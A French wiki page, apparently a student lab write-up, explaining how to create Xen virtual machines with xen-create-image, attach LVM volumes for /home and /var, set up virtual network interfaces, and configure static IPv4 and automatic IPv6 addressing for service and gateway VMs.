* '''Réseau''' : chaque VM a une carte réseau virtuelle, connectée à un '''switch/bridge virtuel'''&lt;br /&gt;
* '''Isolation/Sécurité''' : une VM ne doit pas pouvoir casser les autres.&lt;br /&gt;
&lt;br /&gt;
'''Xen''', c’est un hyperviseur “bare-metal” très utilisé historiquement en serveur/cloud.&lt;br /&gt;
&lt;br /&gt;
Dans Xen, toutes les VM sont des ''domains''.&lt;br /&gt;
&lt;br /&gt;
* '''Dom0 (Domain 0)''' : la VM “chef” (privilégiée)&lt;br /&gt;
** c’est elle qui a les '''drivers matériels'''&lt;br /&gt;
** c’est elle qui '''crée / détruit / configure''' les autres VM&lt;br /&gt;
** elle gère souvent le '''réseau (bridges/VLAN)''' et le '''stockage'''&lt;br /&gt;
* '''DomU''' : les VM “normales” (invitées)&lt;br /&gt;
** elles ont des '''périphériques virtuels'''&lt;br /&gt;
** elles passent souvent par Dom0 pour accéder au hardware&lt;br /&gt;
&lt;br /&gt;
Petit schéma mental :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
         Matériel (CPU/RAM/NIC/Disques)&lt;br /&gt;
                    │&lt;br /&gt;
                   Xen&lt;br /&gt;
                    │&lt;br /&gt;
        ┌───────────┴───────────┐&lt;br /&gt;
        │                       │&lt;br /&gt;
      Dom0                 Dom1, Dom2, Dom3...&lt;br /&gt;
 (admin + drivers)      (VM Linux / OpenWRT / etc.)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Il leur faut plusieurs paramètres pour fonctionner selon nos critères.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;''' :  Commande permettant de créer une nouvelle machine virtuelle Xen&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--hostname=SE4.Merteuil&amp;lt;/code&amp;gt;''' :  Spécifie le nom d'hôte de la nouvelle MV créée. Ici, le nom d'hôte sera &amp;lt;code&amp;gt;SE4.Atreus&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dhcp&amp;lt;/code&amp;gt;''' :  Indique que la MV obtiendra automatiquement une adresse IP via DHCP. Aucune configuration statique d'adresse IP ne sera nécessaire. Vous devriez quand même configuré votre &amp;lt;code&amp;gt;/etc/network/interface&amp;lt;/code&amp;gt; dans votre VM pour qu'elle ait une adresse IPv4 sur votre commutateur virtuel/bridge.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--bridge=bifrost&amp;lt;/code&amp;gt;''' :  Précise l'utilisation du pont réseau nommé &amp;lt;code&amp;gt;bifrost&amp;lt;/code&amp;gt; pour connecter la machine virtuelle au réseau physique ou virtuel existant. Ceci permet une connexion directe de la VM au réseau.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dir=/usr/local/xen&amp;lt;/code&amp;gt;''' :  Définit le répertoire dans lequel seront stockées les images disque et les fichiers associés de la MV. Ici, l'image sera placée dans le dossier &amp;lt;code&amp;gt;/usr/local/xen&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--size=10GB&amp;lt;/code&amp;gt;''' :  Détermine la taille du disque virtuel pour cette MV. Dans cet exemple, le disque fera &amp;lt;code&amp;gt;10 Go&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dist=daedalus&amp;lt;/code&amp;gt;''' :  Indique la distribution du système d'exploitation à utiliser pour la MV. Ici, la distribution choisie s'appelle &amp;lt;code&amp;gt;daedalus&amp;lt;/code&amp;gt; pour Debian.&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--memory=2048M&amp;lt;/code&amp;gt;''' :  Détermine la quantité de mémoire vive (RAM) allouée à la MV. Dans cet exemple, la MV aura &amp;lt;code&amp;gt;2048 Mo&amp;lt;/code&amp;gt; (soit 2 Go) de RAM.&lt;br /&gt;
&lt;br /&gt;
=== Volumes Logiques ===&lt;br /&gt;
Dans notre infra, on ne met pas tout le système d’une VM sur un seul “disque” géant. On '''sépare certains répertoires''' dans des '''volumes logiques (LVM)''' dédiés, notamment :&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;''' : dossiers utilisateurs (fichiers perso, configs, projets, clés SSH…)&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;''' : données qui bougent beaucoup (logs, cache, bases de données, spool, etc.)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cette séparation a plusieurs avantages très concrets :&lt;br /&gt;
&lt;br /&gt;
* '''Meilleure gestion de l’espace disque''' : tu peux dimensionner &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; indépendamment (et agrandir si besoin).&lt;br /&gt;
* '''Moins de risques''' : si &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; explose (logs qui partent en vrille, cache énorme…), ça évite de remplir tout le disque système et de “tuer” la VM.&lt;br /&gt;
* '''Maintenance plus simple''' : sauvegarde/restauration ciblée (ex : sauvegarder &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; sans prendre tout le système).&lt;br /&gt;
* '''Organisation propre''' : chaque VM a ses volumes clairement identifiés.&lt;br /&gt;
&lt;br /&gt;
Pour chaque VM, on crée deux volumes logiques de 10 Go :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.home virtual&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;lvcreate&amp;lt;/code&amp;gt; : commande qui '''crée un volume logique'''&lt;br /&gt;
* &amp;lt;code&amp;gt;-L 10G&amp;lt;/code&amp;gt; : taille du volume (ici '''10 Go''')&lt;br /&gt;
* &amp;lt;code&amp;gt;-n &amp;lt;nom&amp;gt;&amp;lt;/code&amp;gt; : nom du volume logique (d’où le &amp;lt;code&amp;gt;SE4.&amp;lt;NomDeVM&amp;gt;.home&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;virtual&amp;lt;/code&amp;gt; : le '''Volume Group''' dans lequel on crée le volume&lt;br /&gt;
&lt;br /&gt;
Ces volumes seront ensuite '''attachés à la VM''' comme des disques (ou partitions virtuelles), puis '''formatés''' et '''montés''' dans la VM :&lt;br /&gt;
&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.home&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.var&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fichier de configuration Xen ===&lt;br /&gt;
&lt;br /&gt;
==== 0) Éditer le fichier de configuration Xen de la VM (réseau + disques) ====&lt;br /&gt;
Après avoir généré une VM avec &amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;, un '''fichier de configuration''' est créé pour cette VM (souvent un &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
C’est ce fichier qui dit à Xen :&lt;br /&gt;
&lt;br /&gt;
* quels '''disques''' (images, volumes LVM…) la VM utilise&lt;br /&gt;
* combien de RAM/vCPU&lt;br /&gt;
* et surtout quelles '''interfaces réseau virtuelles''' (VIF) elle a, et sur quels '''bridges''' elles sont branchées&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root        = '/dev/xvda2 ro'&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
              ]&lt;br /&gt;
              &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Hostname                                                                                                                                                             &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
name        = 'SE4.Merteuil'                                                                                                                                            &lt;br /&gt;
                                                                                                                                                                        &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Networking                                                                                                                                                           &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
dhcp        = 'dhcp'                                                                                                                                                    &lt;br /&gt;
vif         = [ 'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt' ,                                                                                                          &lt;br /&gt;
                'mac=00:16:3E:47:BB:E7,bridge=SE4' ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 1) Les VIF : cartes réseau virtuelles de la VM ====&lt;br /&gt;
Une '''VIF (Virtual Interface)''', c’est tout simplement une '''carte réseau virtuelle''' vue par la VM.&lt;br /&gt;
&lt;br /&gt;
Dans la VM, elle apparaîtra comme une interface réseau (genre &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;, etc., selon l’OS).&lt;br /&gt;
&lt;br /&gt;
Dans Xen, chaque entrée &amp;lt;code&amp;gt;vif&amp;lt;/code&amp;gt; du fichier &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; correspond à une carte réseau virtuelle. Une fois la VM démarrée, ces cartes apparaissent dans l’OS invité sous forme d’interfaces &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;, etc. Le paramètre &amp;lt;code&amp;gt;bridge=...&amp;lt;/code&amp;gt; indique sur quel commutateur virtuel (bridge Xen/Linux) la carte est connectée.&lt;br /&gt;
&lt;br /&gt;
===== Différence avec une machine physique =====&lt;br /&gt;
Sur un PC “réel”, tu es limité :&lt;br /&gt;
&lt;br /&gt;
* par le nombre de ports Ethernet / cartes réseau dispo physiquement&lt;br /&gt;
&lt;br /&gt;
Dans une VM, pas ce souci :&lt;br /&gt;
&lt;br /&gt;
* tu peux ajouter autant de VIF que tu veux '''en théorie'''&lt;br /&gt;
* en pratique : tu restes limité par la perf + la complexité de ton archi réseau (mais c’est déjà énorme)&lt;br /&gt;
&lt;br /&gt;
==== 2) Ce qu’on veut dans le TP : 2 cartes réseau ====&lt;br /&gt;
Dans le cadre du TP, on te demande '''2 VIF''' :&lt;br /&gt;
&lt;br /&gt;
'''VIF 1 : réseau interne de ton groupe (bridge du “switch” virtuel)'''&lt;br /&gt;
&lt;br /&gt;
* branchée sur le '''bridge''' qui relie tes '''3 machines''' (tes VM du groupe)&lt;br /&gt;
* ici : &amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Objectif : que tes VMs communiquent entre elles comme si elles étaient branchées sur le même switch.&lt;br /&gt;
&lt;br /&gt;
'''VIF 2 : réseau “école / Internet / infra”'''&lt;br /&gt;
&lt;br /&gt;
* branchée sur le bridge qui donne l’accès au '''reste de l’infra''' + Internet&lt;br /&gt;
* ici : &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; (bridge officiel du TP)&lt;br /&gt;
&lt;br /&gt;
Objectif : accès Internet + accès au reste de l’infra (routeurs, services, etc.)&lt;br /&gt;
&lt;br /&gt;
===== Mode “secours” : &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt; =====&lt;br /&gt;
Tant que le bridge &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; n’est pas encore “brassé” correctement (câblage + routeurs Cisco + etc.), tu peux utiliser :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ça te donne déjà :&lt;br /&gt;
&lt;br /&gt;
* Internet&lt;br /&gt;
* de quoi avancer sur une grosse partie du TP&lt;br /&gt;
&lt;br /&gt;
⚠️ Mais à la fin, pour la note max :&lt;br /&gt;
&lt;br /&gt;
Vous devez faire le '''brassage / branchement réel''' des commutateurs en '''E304 / E306 / E200''', et configurer la partie Cisco reliée au bridge &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== 3) Exemple de section réseau dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Networking&lt;br /&gt;
dhcp = 'dhcp'&lt;br /&gt;
vif  = [&lt;br /&gt;
  'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt',&lt;br /&gt;
  'mac=00:16:3E:47:BB:E7,bridge=SE4'&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Comment lire ça ? =====&lt;br /&gt;
* &amp;lt;code&amp;gt;vif = [...]&amp;lt;/code&amp;gt; : liste des cartes réseau virtuelles&lt;br /&gt;
* chaque ligne décrit '''une VIF'''&lt;br /&gt;
* &amp;lt;code&amp;gt;mac=...&amp;lt;/code&amp;gt; : la MAC address que la VM utilisera (utile pour DHCP, filtrage, repérage)&lt;br /&gt;
* &amp;lt;code&amp;gt;bridge=...&amp;lt;/code&amp;gt; : le bridge Xen/Linux sur lequel tu connectes cette VIF&lt;br /&gt;
&lt;br /&gt;
c’est littéralement “sur quel switch virtuel tu branches le câble”&lt;br /&gt;
&lt;br /&gt;
==== 4) Lien avec &amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt; (ce que tu retrouves dans le cfg) ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;antlr-cpp&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt \&lt;br /&gt;
  --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Elle fait plusieurs trucs automatiquement :&lt;br /&gt;
&lt;br /&gt;
* crée le disque système (&amp;lt;code&amp;gt;disk.img&amp;lt;/code&amp;gt;) + swap (&amp;lt;code&amp;gt;swap.img&amp;lt;/code&amp;gt;)&lt;br /&gt;
* configure le hostname&lt;br /&gt;
* met une config réseau DHCP&lt;br /&gt;
* et '''ajoute 1 bridge''' par défaut (&amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Mais elle ne connaît pas forcément ta future archi avec &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; séparés, ni le second bridge (SE4).&lt;br /&gt;
&lt;br /&gt;
Donc tu '''complètes à la main''' dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== 5) Ajouter tes volumes logiques &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; dans &amp;lt;code&amp;gt;disk = [...]&amp;lt;/code&amp;gt; ====&lt;br /&gt;
Dans ton fichier config, tu as une section :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Comprendre &amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt; vs &amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt; → disque = '''fichier image''' (un &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt; → disque = '''vrai block device''' côté hôte (ex : volume LVM dans &amp;lt;code&amp;gt;/dev/virtual/...&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Donc pour brancher tes volumes logiques LVM, tu ajoutes :&amp;lt;syntaxhighlight lang=&amp;quot;ansys&amp;quot;&amp;gt;&lt;br /&gt;
'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ce qui donne :&amp;lt;syntaxhighlight lang=&amp;quot;antlr-c#&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
  'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
  'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 6) C’est quoi &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;xvdb1&amp;lt;/code&amp;gt; exactement ? ====&lt;br /&gt;
C’est juste '''le nom du disque vu par la VM'''.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;xvda&amp;lt;/code&amp;gt; = “disque A virtuel”&lt;br /&gt;
* &amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt; = “disque B virtuel”&lt;br /&gt;
* &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; = “partition 3 du disque A” (façon de parler : c’est l’identifiant donné à Xen)&lt;br /&gt;
&lt;br /&gt;
'''Ce qui compte vraiment'''&lt;br /&gt;
&lt;br /&gt;
✅ Que chaque “source” (file/phy) ait un '''identifiant unique''' côté VM.&lt;br /&gt;
&lt;br /&gt;
Le choix &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; vs &amp;lt;code&amp;gt;xvdb1&amp;lt;/code&amp;gt; n’a rien de magique : c’est juste une convention.&lt;br /&gt;
&lt;br /&gt;
'''Petit conseil pratique (propre et simple)'''&lt;br /&gt;
&lt;br /&gt;
* garde tout sur &amp;lt;code&amp;gt;xvda1&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda2&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda4&amp;lt;/code&amp;gt;… (ça évite de te perdre)&lt;br /&gt;
* ou alors fais :&lt;br /&gt;
** &amp;lt;code&amp;gt;xvda...&amp;lt;/code&amp;gt; pour OS + swap&lt;br /&gt;
** &amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt; pour home&lt;br /&gt;
** &amp;lt;code&amp;gt;xvdc&amp;lt;/code&amp;gt; pour var  (plus lisible quand tu en as beaucoup)&lt;br /&gt;
&lt;br /&gt;
Les deux se font. L’important, c’est d’être '''cohérent'''.&lt;br /&gt;
&lt;br /&gt;
==== 7) Le &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; à la fin : super important ====&lt;br /&gt;
À la fin de chaque ligne de disque, tu as :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; = '''write''' (lecture + écriture)&lt;br /&gt;
* &amp;lt;code&amp;gt;r&amp;lt;/code&amp;gt; = read-only (lecture seule)&lt;br /&gt;
&lt;br /&gt;
Donc si tu oublies le &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; sur un volume &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; ou &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;, tu vas vite te retrouver avec :&lt;br /&gt;
&lt;br /&gt;
* des erreurs d’écriture&lt;br /&gt;
* ou un système qui refuse de monter le FS correctement  Pour des volumes de données, c’est '''toujours &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt;'''.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Montage des partitions et fichier &amp;quot;fstab&amp;quot;&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
==== Très important : ça se fait dans la VM, pas sur capbreton ====&lt;br /&gt;
Les commandes &amp;lt;code&amp;gt;mkfs&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mount&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mv&amp;lt;/code&amp;gt; sont à exécuter '''dans la VM''' (le DomU).&lt;br /&gt;
&lt;br /&gt;
* Sur '''capbreton (Dom0 / hôte Xen)''', '''ne touche jamais à &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;''' : c’est le cœur des services (logs, state, packages, etc.). Si tu déplaces &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; sur le host, tu peux casser l’infra du TP (et potentiellement les autres VMs / services).&lt;br /&gt;
* Sur capbreton, ton job c’est '''créer les volumes LVM''' et les '''attacher''' à la VM dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;. Point.&lt;br /&gt;
&lt;br /&gt;
==== Rappel : c’est quoi &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; exactement ? ====&lt;br /&gt;
&amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; = “variable data”, donc tout ce qui '''change souvent''' et peut '''grossir vite'''.&lt;br /&gt;
&lt;br /&gt;
Typiquement :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt; : logs (ça peut exploser si un service spam)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/lib&amp;lt;/code&amp;gt; : données applicatives (ex: bases de données, états de services)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/cache&amp;lt;/code&amp;gt; : caches (apt, etc.)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; : fichiers temporaires “longue durée”&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/spool&amp;lt;/code&amp;gt; : files d’attente (mail, cron, impressions…)&lt;br /&gt;
&lt;br /&gt;
Pourquoi on le met sur un volume dédié : si &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; se remplit, tu évites de remplir &amp;lt;code&amp;gt;/&amp;lt;/code&amp;gt; et de rendre la VM inutilisable.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Explication rapide des commandes ===&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mkfs -t ext4 /dev/xvdb1&amp;lt;/code&amp;gt;''' : ''formatage'' → crée un système de fichiers ext4 sur le disque.  ⚠️ Ça '''efface''' ce qu’il y avait dessus.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mount &amp;lt;device&amp;gt; &amp;lt;dossier&amp;gt;&amp;lt;/code&amp;gt;''' : “branche” le système de fichiers sur un dossier.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;umount &amp;lt;dossier&amp;gt;&amp;lt;/code&amp;gt;''' : “débranche”.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mount -a&amp;lt;/code&amp;gt;''' : monte tout ce qui est dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt;&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mv&amp;lt;/code&amp;gt;''' : déplace. Sur &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;, c’est risqué parce que des fichiers peuvent être utilisés en live.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;'''DÉMARRAGE AUTOMATIQUE DU MONTAGE'''&amp;lt;/u&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Fichier fstab.png|alt=Fichier fstab|centré|cadre|Fichier fstab]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== CONFIGURATION RÉSEAU DE NOS VM ==&lt;br /&gt;
&lt;br /&gt;
=== Rappel du schéma et du rôle des machines ===&lt;br /&gt;
Dans l’infra, on a deux “mondes” réseau en parallèle :&lt;br /&gt;
&lt;br /&gt;
* '''Un réseau IPv4 privé''' (non routable sur Internet) : utilisé pour l’interconnexion interne et la sortie Internet via NAT.&lt;br /&gt;
* '''Un réseau IPv6 public''' : utilisé pour rendre les VM accessibles directement depuis l’extérieur (et accéder à Internet en IPv6 sans NAT).&lt;br /&gt;
&lt;br /&gt;
==== VM de service (serveurs) ====&lt;br /&gt;
* IPv4 '''privé''' : pour sortir sur Internet via le mandataire (NAT/Masquerade).&lt;br /&gt;
* IPv6 '''public''' : pour être joignable directement (pas de NAT).&lt;br /&gt;
&lt;br /&gt;
==== VM mandataire (gateway) ====&lt;br /&gt;
* Reliée au '''réseau privé IPv4''' : côté interne&lt;br /&gt;
* Reliée au '''réseau public''' : côté infra école + Internet.&lt;br /&gt;
* Fait l’interconnexion (routage + NAT + redirections de ports si besoin).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau de la VM de service ===&lt;br /&gt;
&lt;br /&gt;
==== Ton &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; (service) ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 192.168.3.2/27 #192.168.3.3 pour notre deuxième service nommée Valmont&lt;br /&gt;
        gateway 192.168.3.1 #adresse IPv4 de notre mandataire&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto #attention de ne pas mettre en dhcp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Explication simple ====&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt; (IPv4 privé)'''&lt;br /&gt;
** IP privée &amp;lt;code&amp;gt;192.168.3.2/27&amp;lt;/code&amp;gt;&lt;br /&gt;
** passerelle &amp;lt;code&amp;gt;192.168.3.1&amp;lt;/code&amp;gt; = l’IP du mandataire sur le réseau privé  → Tout trafic IPv4 “vers Internet” part au mandataire.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt; (IPv6)'''&lt;br /&gt;
** &amp;lt;code&amp;gt;inet6 auto&amp;lt;/code&amp;gt; = la VM récupère automatiquement une IPv6 (SLAAC/RA) + souvent une route par défaut IPv6  → La VM est accessible directement en IPv6, sans passer par du NAT.&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau de la VM mandataire ===&lt;br /&gt;
Ton &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; (mandataire)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 192.168.3.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
        address 193.48.57.165/27&lt;br /&gt;
        gateway 193.48.57.162&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* eth0 (IPv4 privé) : 192.168.3.1 = gateway des services (réseau interne)&lt;br /&gt;
&lt;br /&gt;
* eth1 (public) :&lt;br /&gt;
** IPv4 public 193.48.57.165/27&lt;br /&gt;
** gateway public 193.48.57.162 (VRRP)&lt;br /&gt;
* IPv6 en auto (pour avoir IPv6 public côté mandataire aussi)&lt;br /&gt;
